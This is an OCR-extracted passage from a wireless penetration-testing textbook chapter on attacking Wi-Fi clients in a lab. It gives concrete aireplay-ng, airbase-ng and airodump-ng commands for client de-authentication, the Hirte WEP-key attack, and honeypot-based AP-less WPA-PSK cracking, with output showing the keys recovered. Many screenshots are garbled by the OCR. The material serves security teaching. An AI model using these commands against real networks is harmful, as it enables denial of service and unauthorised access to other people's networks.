The attack works by bit flipping and replaying ARP packets sent by the wireless client post association with the fake access point created by us. These bit flipped ARP Request packets cause more ARP response packets to be sent by the wireless client. Note that all these packets are encrypted using the WEP key stored on the client. Once we are able to gather a large number of these data packets, <code>aircrack-ng</code> is able to recover the WEP key easily.

Have a go hero – practice makes you perfect!

Try changing the WEP key and repeat the attack. This is a difficult attack and requires some practice to orchestrate successfully. It would also be a good idea to use Wireshark and examine the traffic on the wireless network.

De-Authentication and Dis-Association attacks

We have seen De-Authentication attack in previous chapters as well in the context of the access point. In this chapter, we will explore the same in the context of the client.

In the next lab, we will send De-Authentication packets to just the client and break an established connection between the access point and the client.

Time for action – De-Authenticating the client

Follow the instructions to get started:

 Let us first bring our access point Wireless Lab online again. Let us keep it running on WEP to prove that even with encryption enabled it is possible to attack the access point and client connection. Let us verify that the access point is up by using airodump-ng:

20			root@bt: ~ - Shell - Konsole	
Session Edit View Bookr	marks Settings Help			
CH 3][Elapsed: 3	32 s][2011-03-24	09:55		
BSSID	PWR RXQ Beacons	#Data, #/s	CH MB ENC CIPHER AUTH	ESSID
00:21:91:D2:8E:25	-19 100 291	0 0	3 54e. WEP WEP	Wireless Lab
BSSID	STATION	PWR Rate	Lost Packets Probes	
(not associated)	10:9A:DD:F4:B4:BD	-51 0-1	0 9 vivek	
(not associated)	00:16:44:19:DF:0A		0 5	
(not associated)	2C:81:58:EB:DD:CD	-73 0-1	0 2	

For More Information: www.packtpub.com/backtrack-5-wireless-penetrationtesting-beginners-guide/book

[129]

2. Let us connect our client to this access point as we verify it with airodump-ng:

enu o	n	Edit	Vi	0.14	Rool	kmarks	5	attina	s Help				roo	t@bt:	~ -	Shell	- Konso	le		
p		Luit		ew	800	KIIIdi Ka		- cung	зпер											
СН	3][Eι	aps	sed:	24 s	1	20	11-03-24	10:22										
BSSI	٢D					PWF	RX	Q I	Beacons	#Da	ta,	#/s	СН	MB	E	ENC	CIPHE	R AUTH	ESSID	
00:2	21:	91:	D2	: 8E	:25	-19	16	0	255		8	Θ	3	54e	e. V	VEP	WEP		Wireless	Lab
00:2	25:	5E :	17	: C8	3:00	-71		0	5		0	Θ	1	54	V	VEP	WEP		swapnil	
00:2	25:	5E :	17	: C8	3:02	-72		0	3		0	Θ	1	54	0	DPN			<length:< td=""><td>0></td></length:<>	0>
00:2	25:	5E :	17	: C8	3:01	-72		0	4		0	Θ	1	54	0	DPN			<length:< td=""><td>0></td></length:<>	0>
00:2	25:	5E :	17	: C8	3:03	-72		Θ	2		Θ	0	1	54	C	DPN			<length:< td=""><td>0></td></length:<>	0>
BSSI	٢D					STA	TIO	N		PWR	R	ate	Lo	st	Pac	kets	s Pro	bes		
00:2	21:	91:	D2	: 8E	:25	60:	FB:	42:1	D5:E4:01	-16		0 -36	e	473		24	47 Wi	reless	Lab,Vive	k

3. We will now run aireplay-ng to target the client and access point connection:



4. The client gets disconnected and tries to reconnect to the access point, we can verify this by using Wireshark just as before:

Imme Source Destination Protoco Inf 400 7.54902 D-Link d2:00:25 Apple d5:44:01 IEEE 80Cbeauthentication, SN=100, FN=0, Flags= 401 7.55212 Apple d5:64:01 D-Link d2:00:25 IEEE 80Cbeauthentication, SN=100, FN=0, Flags= 403 7.55724 D-Link d2:00:25 IEEE 80Cbeauthentication, SN=100, FN=0, Flags= 404 7.55740 D-Link d2:00:25 Apple d5:64:01 IEEE 80Cbeauthentication, SN=100, FN=0, Flags= 405 7.55743 Apple d5:64:01 D-Link d2:00:25 IEEE 80Cbeauthentication, SN=100, FN=0, Flags= 406 7.555743 Apple d5:64:01 D-Link d2:00:25 IEEE 80Cbeauthentication, SN=100, FN=0, Flags= 407 7.555743 Apple d5:64:01 D-Link d2:00:25 IEEE 80Cbeauthentication, SN=100, FN=0, Flags=	5570-Brandrott
401.7.552121 Apple.d5:e4:01 D-Link.d2:e5:25 IEEE 80.Deauthentication, SM-109, PH-0, Flags= 402.7.556724 D-Link.d2:e5:26 Apple.d5:e4:01 IEEE 80.Deauthentication, SM-109, PH-0, Flags= 403.7.556724 D-Link.d2:e5:25 Apple.d5:e4:01 IEEE 80.Deauthentication, SM-109, PH-0, Flags= 405.7.557483 Apple.d5:e4:01 D-Link.d2:e5:25 IEEE 80.Deauthentication, SM-109, PH-0, Flags= 406.7.556783 Apple.d5:e4:01 D-Link.d2:e5:25 IEEE 80.Deauthentication, SM-111, PH-0, Flags= 408.7.556783 Apple.d5:e4:01 D-Link.d2:e5:25 IEEE 80.Deauthentication, SM-111, PH-0, Flags=	SST NuBen vide ant
400 7.556724 D-Link_d2:8:25 Apple_d5:4:01 IEEE 80:Deauthentication, Sk-110, FH-0, Flags= 404 7.557491 D-Link_d2:8:25 Apple_d5:4:01 IEEE 80:Deauthentication, Sk-108, FH-0, Flags= 405 7.557493 Apple_d5:4:01 D-Link_d2:8:25 IEEE 80:Deauthentication, Sk-108, FH-0, Flags= 406 7.555783 Apple_d5:4:01 D-Link_d2:8:25 IEEE 80:Deauthentication, Sk-108, FH-0, Flags= 407 7.556480 Apple_d5:4:01 D-Link_d2:8:25 IEEE 80:Deauthentication, Sk-111, FH-0, Flags= 110 7.566480 Apple_d5:4:01 D-Link_d2:8:25 IEEE 80:Deauthentication, Sk-113, FH-0, Flags=	SST PueBen vide ant
400 7.557401 D-Link dz:0e:25 Apple d5:e4:01 IEEE 80.Deauthentication, SN=108, FN=0, Flags= 407 7.557403 Apple d5:e4:01 D-Link dz:0e:25 IEEE 80.Deauthentication, SN=109, FN=0, Flags= 408 7.5557403 Apple d5:e4:01 D-Link dz:0e:25 IEEE 80.Deauthentication, SN=111, FN=0, Flags= 408 7.556743 O-Link dz:0e:25 Apple d5:e4:01 IEEE 80.Deauthentication, SN=111, FN=0, Flags= 407 7.556434 Apple d5:e4:01 D-Link dz:0e:25 Reple d5:e4:01 IEEE 80.Deauthentication, SN=112, FN=0, Flags= 417 7.568434 Apple d5:e4:01 D-Link dz:0e:25 Apple d5:e4:01 IEEE 80.Deauthentication, SN=104, FN=0, Flags= 413 7.568434 Apple d5:e4:01 D-Link dz:0e:25 Apple d5:e4:01 IEEE 80.Deauthentication, SN=204, FN=0, Flags= 413 7.557147 D-Link dz:0e:25 Apple d5:e4:01 IEEE 80.Deauthentication, SN=304, FN=0, Flags=	SST NuBrandonst
405.7.557403 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SW=109, PH:0, Plags= 406.7.555703 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SW=111, PH:0, Plags= 406.7.555703 O-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SW=112, PH:0, Plags= 407.5554703 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SW=113, PH:0, Plags= 410.7.556480 Apple_d5:e4:01 Breadcast IEEE 80:Deauthentication, SW=113, PH:0, Plags= 412.7.569799 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Probe Reputs, SW=267, PH:0, Plags= 412.7.569799 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Probe Reputs, SW=267, PH:0, Plags= 412.7.569799 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Probe Reputs, SW=267, PH:0, Plags= 413.7.571247 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Probe Reputs, SW=267, PH:0, Plags=	SCT NuBro via set
4007.5550783 Apple.d5:e4:01 D-Link.d2:8e:25 IEEE 80Deauthentication, SM=111, PH-0, Flags= 4017.556480 Apple.d5:e4:01 DEEE 80Deauthentication, SM=112, PH-0, Flags= 4107.556480 Apple.d5:e4:01 D-Link.d2:8e:25 IEEE 80Deauthentication, SM=112, PH-0, Flags= 4117.556480 Apple.d5:e4:01 D-Link.d2:8e:25 IEEE 80Deauthentication, SM=113, PH-0, Flags= 4127.556797 D-Link.d2:8e:25 Apple.d5:e4:01 IEEE 80Deauthentication, SM=114, PH-0, Flags= 4137.5571247 D-Link.d2:8e:25 Apple.d5:e4:01 IEEE 80Deauthentication, SM=114, PH-0, Flags= 4137.5571247 D-Link.d2:8e:25 Apple.d5:e4:01 IEEE 80Deauthentication, SM=115, PH-0, Flags= 4137.5571247 D-Link.d2:8e:25 Apple.d5:e4:01 IEEE 80Deauthentication, SM=15, PH-0, Flags=	SCIDuPropert
408 7.564229 D-Link_d2:08:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SW=112, FN=0, Flags=	SCID_Broadcast
110 7.556480 Apple_d5:e4:01 D.Link_d2:8:25 IEEE 80:DPauthentication, SM=113, FHeO, Flags=	SET D=Propdcast
411 7.568434 Apple_d5:e4:01 Broadcast IEEE 80.Probe Request, SN=2674, FN=0, Flags=,C, 412 7.568799 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80.Deauthentication, SN=114, FN=0, Flags=,C, 413 7.571247 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80.Probe Response, SN=3054, FN=0, Flags=,C, 413 7.571247 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80.Probe Response, SN=3054, FN=0, Flags=,C, 15 7.571247 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80.Probe Response, SN=3054, FN=0, Flags=,C,	SETD-Broadcast
412 7.580709 D-Link_d2:08:25 Apple_d5:e4:01 IEEE 802Bauthentication, SW=114, FN=0, Flags= 413 7.571247 D-Link_d2:08:25 Apple_d5:e4:01 IEEE 802Probe Response, SN=3054, FN=0, Flags= 15 7.572149 D-Link_d2:08:125 EEEE 802Denuthentication, SN=115, FN=0, Flags=	CCTD=Proodcost
413 7.571247 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Probe Response, SN=3054, FN=0, Flags=C, 415 7.572149 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=115, FN=0, Flags=C,	331D-bi daucas c
415 7.572149 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=115, FN=0, Flags=	
	BI=100, SSID="Wireless Lab"
418.7 575565 Dulink do: Be: 25 Apple do: e4:01 TEEE 80 Deauthentication SN-116 EN-D Elane-	
The discussion of the discussi	
419 7.577873 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=117, FN=0, Flags=	
422 7.581004 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SN=110, FN=0, Flags=	
423 7.581005 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=111, FN=0, Flags=	
424 7.581006 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SN=112, FN=0, Flags=	
425 7.581007 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=113, FN=0, Flags=	
426 7.581008 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SN=114, FN=0, Flags=	
427 7.581009 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=115, FN=0, Flags=	
428 7.581010 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SN=116, FN=0, Flags=	
429 7.581011 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=117, FN=0, Flags=	
<pre>4.29 /.Selici1 Apple_05:04:01 0-Link_02:08:20 IEEE 80.0800thentication, Seli/, FHEU, Flags= rame 119: 38 bytes on wire (304 bits), 38 bytes captured (304 bits) addroat Header VO, Length 12 EEE 802.11 Deauthentication, Flags: Type/Subtype: Deauthentication (500c)</pre>	
Frame Control: 0x00C0 (Normal)	
Duration: 314	
Destination address: Apple d5:e4:01 (60:fb:42:d5:e4:01)	
Source address: D.Link d2:8e:25 (00:21:91:d2:8e:25)	
BSS Id: D-Link d2:Be:25 (00:21:91:d2:Be:25)	
Fragment number: 0	
Sequence number: 0	
EEE 802.11 wireless LAN management frame	
30 00 00 0c 00 04 80 00 00 02 00 18 00 c0 00 3a 01	

[130] -

For More Information: www.packtpub.com/backtrack-5-wireless-penetrationtesting-beginners-guide/book

5. We have now seen that even in the presence of WEP encryption, it is possible to De-Authenticate a client and disconnect it. The same is valid even in the presence of WPA/WPA2. Let us now set our access point to WPA encryption and verify the same.

WIRELESS NETWORK SETTINGS	personal information.
	Enable Auto Channel Scan
Enable Wireless : 🗹 Always 🗘 Add New	so that the router can select the best possible
Wireless Network Name : Wireless Lab (Also called the SSID)	channel for your wireless network to operate on.
802.11 Mode : Mixed 802.11n, 802.11g and 802.11b	Enabling Hidden Mode is
Enable Auto Channel Scan : 🗆	another way to secure
Wireless Channel : 2.422 GHz - CH 3	your network. With this option enabled, no
Transmission Rate : Best (automatic) 🗘 (Mbit/s)	wireless clients will be able
Channel Width: 20 MHz	to see your wireless network when they scan
Visibility Status : 🕑 Visible 🔘 Invisible	to see what's available. For your wireless devices
	to connect to your router,
WIRELESS SECURITY MODE	you will need to manually enter the Wireless
	Network Name on each
To protect your privacy you can configure wireless security features. This device supports three wireless security modes, including WEP, WPA-Personal, and WPA-Enterprise. WEP is the original wireless encryption standard. WPA provides a higher level of security. WPA-Personal does not require an authentication server. The WPA-Enterprise option requires an external RADIUS server.	device. If you have enabled Wireless Security, make sure you write down the
Security Mode : WPA-Personal	Key or Passphrase that you have configured. You will need to enter this information on any
WPA	wireless device that you
Use WPA or WPA2 mode to achieve a balance of strong security and best compatibility. This mode uses WPA for legacy clients while maintaining higher security with stations that are WPA2 capable. Also the strongest cipher that the client supports will be used. For best security, use WPA2 Only mode. This mode uses AES(CCMP) cipher and legacy stations are not allowed access with WPA security. For maximum compatibility, use WPA Only . This mode uses TKIP cipher. Some gaming and legacy devices work only in this mode.	connect to your wireless network. More
To achieve better wireless performance use WPA2 Only security mode (or in other words AES cipher).	
WPA Mode : WPA2 Only \$	
Group Key Update Interval : 3600 (seconds)	
PRE-SHARED KEY	
Enter an 8- to 63-character alphanumeric pass-phrase. For good security it should be of ample length and should not be a commonly known phrase.	
Pre-Shared Key :	

- [131] -

6. Let's connect our client to the access point and ensure it is connected:

T 0		root@bt: ~ - Shell - Konsole
Session Edit View Book	marks Settings Help	
CH 3][Elapsed:	16 s][2011-03-24	24 10:50
BSSID	PWR RXQ Beacons	s #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25	-17 96 166	5 θ 3 54e. WPA2 CCMP PSK Wireless Lab
BSSID	STATION	PWR Rate Lost Packets Probes
(not associated) (not associated) 00:21:91:D2:8E:25	00:26:5E:7D:76:5D 00:16:EA:7F:C9:1A 60:FB:42:D5:E4:01	LA -72 0 - 1 0 3 Sunny

7. Let us now run aireplay-ng to disconnect the client from the access point:

🗉 💿 root@bt: ~ - Shell No. 2 - Konsole
Session Edit View Bookmarks Settings Help
<pre>root@bt:-# aireplay-ngdeauth 1 -c 60:FB:42:D5:E4:01 -a 00:21:91:D2:8E:25 mon0 10:51:36 Waiting for beacon frame (BSSID: 00:21:91:D2:8E:25) on channel 3 10:51:36 Sending 64 directed DeAuth. STMAC: [60:FB:42:D5:E4:01] [13 64 ACKs] root@bt:-# root@bt:-# root@bt:-#</pre>

8. Using Wireshark we can once again verify that this works as well:

EDU Cala Marine d	Ca Castura Analuza C	atistics Telephony Tools Help	n0 - Wireshark
El 2011 Del Ani			
	= 60:fb:42:d5:e4:01	Expression Cl	
o. Time	Source	Destination Protoco	
198 9.514050	Apple_d5:e4:01		authentication, SN=5, FN=0, Flags=
200 9.516311	D-Link_d2:Be:25		authentication, SN=6, FN=0, Flags=
201 9.518451	Apple_d5:e4:01		authentication, SN=7, FN=0, Flags=
204 9.523088	D-Link_d2:8e:25		authentication, SN=8, FN=0, Flags=
205 9.523946	D-Link_d2:Be:25		authentication, SN=6, FN=0, Flags=
206 9.523949	Apple_d5:e4:01		authentication, SN=7, FN=0, Flags=
207 9.525277	Apple_d5:e4:01		authentication, SN=9, FN=0, Flags=
208 9.528588			authentication, SN=10, FN=0, Flags=
210 9.530929	Apple_d5:e4:01		authentication, SN=11, FN=0, Flags=
211 9.534289	D-Link_d2:8e:25		authentication, SN=12, FN=0, Flags=
213 9.536574	Apple_d5:e4:01		authentication, SN=13, FN=0, Flags=
214 9.539704	D-Link_d2:8e:25	Apple_d5:e4:01 IEEE 80	authentication, SN=8, FN=0, Flags=
215 9.539706	Apple_d5:e4:01	D-Link_d2:8e:25 IEEE 80	authentication, SN=9, FN=0, Flags=
216 9.539708	D-Link_d2:8e:25	Apple_d5:e4:01 IEEE 80	authentication, SN=10, FN=0, Flags=
217 9.539709	Apple_d5:e4:01	D-Link_d2:8e:25 IEEE 80	authentication, SN=11, FN=0, Flags=
218 9.539710	D-Link d2:8e:25	Apple d5:e4:01 IEEE 80	authentication, SN=12, FN=0, Flags=
219 9.539711	Apple d5:e4:01	D-Link d2:8e:25 IEEE 80	authentication, SN=13, FN=0, Flags=
221 9.542865	D-Link d2:8e:25	Apple d5:e4:01 IEEE 80	authentication, SN=14, FN=0, Flags=
222 9.545191	Apple d5:e4:01	D-Link d2:8e:25 IEEE 80	authentication, SN=15, FN=0, Flags=
224 9,548992	D-Link_d2:8e:25		authentication, SN=16, FN=0, Flags=
225 9.549741	D-Link d2:Be:25		authentication, SN=14, FN=0, Flags=
226 9.549743			authentication, SN=15, FN=0, Flags=
	· · · · · · · · · · · · · · · · · · ·		admentication, 3423, they i taga
		, 56 bytes captured (448 bits)	
Radiotap Header	r vO, Length 26 S Null function (No da	ta) Classes D TC	
	: QoS Null function (No da		
	l: 0x09CB (Normal)	5 Gata, (5x2c)	
Duration: 25			
	o nk d2:8e:25 (00:21:91:		
	ss: Apple d5:e4:01 (60		
		25 (00:21:91:d2:8e:25)	
Fragment num			
Sequence num			
P Frame check :	sequence: 0xaec50193	correct]	
	2f 48 00 00 13 0c 7	3 32 02 00 00 00/H	
	e c c c c f c c c c c c c c c c c c c c		
	5 60 fb 42 d5 e4 01 0		
00 1- 07 00) ae c5 01 93		
J30 00 18 07 00			

- [132] -

For More Information:

www.packtpub.com/backtrack-5-wireless-penetrationtesting-beginners-guide/book

What just happened?

We just learnt how to disconnect a wireless client selectively from an access point using De-Authentication frames even in the presence of encryption schemas like WEP/WPA/WPA2. This was done by sending a De-Authentication packet to just the access point - client pair, instead of sending a broadcast De-Authentication to the entire network.

Have a go hero – Dis-Association attack on the client

In the preceding exercise, we used a De-Authentication attack to break the connection. Try using a Dis-Association packet to break the established connection between a client and an access point.

Hirte attack

We've already seen how to conduct the Caffe Latte attack. The Hirte attack extends the Caffe Latte attack using fragmentation techniques and allows for almost any packet to be used.

More information on the Hirte attack is available on the AIRCRACK-NG website: http://www.aircrack-ng.org/doku.php?id=hirte.

We will now use <code>aircrack-ng</code> to conduct the Hirte attack on the same client.

Time for action – cracking WEP with the Hirte attack

Create a WEP access point exactly as in the Caffe Latte attack using the airbase-ng tool. The only additional option is the -N option instead of the -L option to launch the Hirte attack:

root@bt: ~ - Shell - KonsoleSession Edit View Bookmarks Settings Helproot@bt: ~# airbase-ng -c 3 -a 00:21:91:D2:8E:25 -e "Wireless Lab" -W 1 -N mon021:32:14 Created tap interface at021:32:14 Trying to set MTU on at0 to 150021:32:14 Trying to set MTU on mon0 to 180021:32:14 Access Point with BSSID 00:21:91:D2:8E:25 started.

[133]

2. Start airodump-ng in a separate window to capture packets for the Wireless Lab Honeypot:

```
      Image: session Edit View Bookmarks Settings Help

      Foot@bt:~# airodump-ng -c 3 --bssid 00:21:91:D2:8E:25 --write Hirte mon0
```

3. Airodump-ng will now start monitoring this network and storing the packets in Hirte-01.cap file.



4. Once the roaming client connects to out Honeypot AP, the Hirte attack is automatically launched by airbase-ng:

Session Edit	root@bt: ~ - Shell - Konsole View Bookmarks Settings Help	
21:32:14	Trying to set MTU on mon0 to 1800 Access Point with BSSID 00:21:91:D2:8E:25 started.	
	Got 140 bytes keystream: 60:FB:42:D5:E4:01 SKA from 60:FB:42:D5:E4:01	
	SKA from 60:FB:42:D5:E4:01	
	SKA from 60:FB:42:D5:E4:01	
	SKA from 60:FB:42:D5:E4:01	
	SKA from 60:FB:42:D5:E4:01	
	SKA from 60:FB:42:D5:E4:01 SKA from 60:FB:42:D5:E4:01	
	SKA from 60:FB:42:D5:E4:01	
	SKA from 60:FB:42:D5:E4:01	
	SKA from 60:FB:42:D5:E4:01	
	SKA from 60:FB:42:D5:E4:01	
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	ſ
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Starting Hirte attack against 60:FB:42:D5:E4:01 at 100 pps.	
		E

For More Information: www.packtpub.com/backtrack-5-wireless-penetrationtesting-beginners-guide/book

[134] -

5. We start aircrack-ng as in the case of the Caffe Latte attack and eventually the key would be cracked as shown next:

Aircrack-ng 1.0 r1645													
[00:25:36] Tested 1285089 keys (got 48988 IVs)													
KB	dep	th	byte(vote))									
0	0/				90(56320)	3A(56064)	2B(55552)	B7(55552)	BA(55552)	CB(55552)			
1	0/	1							C5(56576)				
2	0/	1	EF(69888)	ED(58368)	EE(57600)	AF(57344)	9A(56832)	51(56320)	A3(56320)	C5(56320)			
2 3	0/	1	AB(64512)	47(60416)	B9(60416)	5E(59392)	A1(57856)	82(57600)	E1(57088)	E7(56576)			
4	0/	1	CD(65024)	7D(59904)	43(58624)	F9(58112)	03(57088)	EE(56576)	41(56320)	28(55552)			
5	1/	5	51(58112)	6D(57856)	72(57344)	CE(57088)	44(56320)	5C(55808)	9E(55552)	05(55040)			
6	0/	1	AB(67584)	A4(58624)	6D(58112)	FB(57856)	16(57344)	A2(57088)	24(56832)	91(56832)			
7	0/	1	CD(65024)	8B(58112)	40(57856)	D5(57856)	81(57344)	D6(57344)	DA(57088)	8E(55808)			
8	0/	1	EF(67072)	F7(58880)	66(58624)	A8(57856)	5D(57344)	A0(57344)	11(57088)	CC(56832)			
9	1/	2	AB(59904)	86(57856)	41(57344)	94(57344)	0A(56576)	08(56320)	25(56064)	A9(56064)			
10	1/	1	2C(58112)	E0(57600)	FB(57344)	47(56576)	9D(56576)	C4(56576)	17(55552)	21(55552)			
11	1/								8D(56064)				
12	1/	2	12(57308)	CE(55844)	A4(55076)	1B(54892)	68(54784)	C0(54784)	66(54748)	4F(54564)			
			FOUND!		B:CD:EF:AB	:CD:EF:AB:	D:EF:12]						
	Decr	ypte	ed correctly	/: 100%									

What just happened?

We launched the Hirte attack against a WEP client which was isolated and away from the authorized network. We cracked the key exactly as in the Caffe Latte attack case.

Have a go hero – practice, practice, practice

We would recommend setting different WEP keys on the client and trying this exercise a couple of times to gain confidence. You may notice many times that you have to reconnect the client to get it to work.

AP-less WPA-Personal cracking

In a previous chapter, we have seen how to crack WPA/WPA2 PSK using aircrack-ng. The basic idea was to capture a four-way WPA handshake and then launch a dictionary attack.

The million dollar questions is—would it be possible to crack WPA-Personal with just the client? No access point!

[135] -

Attacking the Client

Let's revisit the WPA cracking exercise to jog our memory.



To crack WPA, we need the following four parameters from the Four-Way Handshake— Authenticator Nounce, Supplicant Nounce, Authenticator MAC, Supplicant MAC. Now the interesting thing is that we do not need all of the four packets in the handshake to extract this information. We can get this information with either all four packets, or packet 1 and 2, or just packet 2 and 3.

In order to crack WPA-PSK, we will bring up a WPA-PSK Honeypot and when the client connects to us, only Message 1 and Message 2 will come through. As we do not know the passphrase, we cannot send Message 3. However, Message 1 and Message 2 contain all the information required to begin the key cracking process.



- **[136]** -



Time for action – AP-less WPA cracking

1. We will setup a WPA-PSK Honeypot with the ESSID Wireless Lab. The -z 2 option creates a WPA-PSK access point which uses TKIP:

0	root@bt: ~ - Shell - Konsole
Menuon Edit	View Bookmarks Settings Help
	# airbase-ng -c 3 -a 00:21:91:D2:8E:25 -e "Wireless Lab" -W 1 -z 2 mon0 Created tap interface at0
23:51:09	Trying to set MTU on at0 to 1500 Trying to set MTU on mon0 to 1800
	Access Point with BSSID 00:21:91:D2:8E:25 started.

2. Let's also start airodump-ng to capture packets from this network:

• 0					root@bt: ~ - Shell No. 2 - Konsole
Session	Edit	View	Bookmarks	Settings	Help
root@	bt:~	# ai	rodump-ng	ј-с3	bssid 00:21:91:D2:8E:25write AP-less-WPA-cracking mon0

3. Now when our roaming client connects to this access point, it starts the handshake but fails to complete it after Message 2 as discussed previously:

0	root@bt: ~ - Shell - Konsole
Menuon Edit	View Bookmarks Settings Help
	# airbase-ng -c 3 -a 00:21:91:D2:8E:25 -e "Wireless Lab" -W 1 -z 2 mon0
	Created tap interface at0
	Trying to set MTU on at0 to 1500
	Access Point with BSSID 00:21:91:D2:8E:25 started.
	Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
	Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
	Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
	Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30	Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30	
23:56:30	Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30	Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30	Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30	Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30	
23:56:30	
23:56:30	Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"

[137] -

Attacking the Client

4. But airodump-ng reports that the handshake has been captured:

		root@bt: ~ - Shell No. 2 - Konsole
Menuon Edit View Bookmark	s Settings Help	
CH 3][Elapsed: 1	min][2011-06-27	23:57][WPA handshake: 00:21:91:D2:8E:25
BSSID	PWR RXQ Beacons	#Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25	0 100 1254	34 0 3 54 WPA TKIP PSK Wireless Lab
BSSID	STATION	PWR Rate Lost Packets Probes
00:21:91:D2:8E:25	60:FB:42:D5:E4:01	-18 1 - 1 0 73

5. We run the airodump-ng capture file through aircrack-ng with the same dictionary file as before, eventually the passphrase is cracked as shown next:

0											roc	ot@b	t: ~ ·	- She	II - K	onso	ole <	2>		
Session	Edit Vie	w Bookmark	s	Settir	ngs	Help														
	Aircrack-ng 1.0 r1645																			
	[00:00:00] 176 keys tested (382.44 k/s)																			
	KEY FOUND! [abcdefgh]																			
	Master	Кеу	:	D6 71		F1 D6														
	Transi	ent Key	:	39 4B	2E DD	1B 30 6B 2C	8C BB	A5 28	A8 02	7B 38	90 6B	4C 3A	7A B4	C4 D5	6F 47	BF AF	0D 92	BE F6	C6 62	
root@l	EAPOL bt:~#	HMAC	:	FE	3D	3C	0F	8E	65	0F	2C	CD	37	74	62	1A	FB	1F	02	

What just happened?

We were able to crack the WPA key with just the client. This was possible because even with just the first two packets, we have all the information required to launch a dictionary attack on the handshake.

· [138] -

Have a go hero – AP-less WPA cracking

We would recommend setting different WEP keys on the client and trying this exercise a couple of times to gain confidence. You may notice many times that you have to reconnect the client to get it to work.

Pop quiz – attacking the client

- 1. What encryption key can Caffe Latte attack recover?
 - a. None
 - b. WEP
 - c. WPA
 - d. WPA2
- 2. A Honeypot access point would typically use:
 - a. No Encryption, Open Authentication
 - b. No Encryption, Shared Authentication
 - c. WEP Encryption, Open Authentication
 - d. None of the above
- 3. Which one of the following are DoS Attacks?
 - a. Mis-Association attack
 - b. De-Authentication attacks
 - c. Dis-Association attacks
 - d. Both (b) and (c)
- 4. A Caffe Latte attack requires
 - a. That the wireless client be in radio range of the access point
 - b. That the client contains a cached and stored WEP key
 - c. WEP encryption with at least 128 bit encryption
 - d. Both (a) and (c)

[139] -

Attacking the Client

Summary

In this chapter, we have learned that even the wireless client is susceptible to attacks. These include the following— Honeypot and other Mis-Association attacks, Caffe Latte attack to retrieve the key from the wireless client, De-Authentication and Dis-Association attacks causing a Denial of Service, Hirte attack as an alternative to retrieving the WEP key from a roaming client, and finally cracking the WPA-Personal passphrase with just the client.

In the next chapter, we will use all our learning until now to conduct various advanced wireless attacks on both the client and infrastructure side. So, quickly flip the page to the next chapter!

[140] -

Where to buy this book

You can buy BackTrack 5 Wireless Penetration Testing Beginner's Guide from the Packt Publishing website: http://www.packtpub.com/backtrack-5-wireless-penetration-testing-beginners-guide/book

Free shipping to the US, UK, Europe and selected Asian countries. For more information, please read our <u>shipping policy</u>.

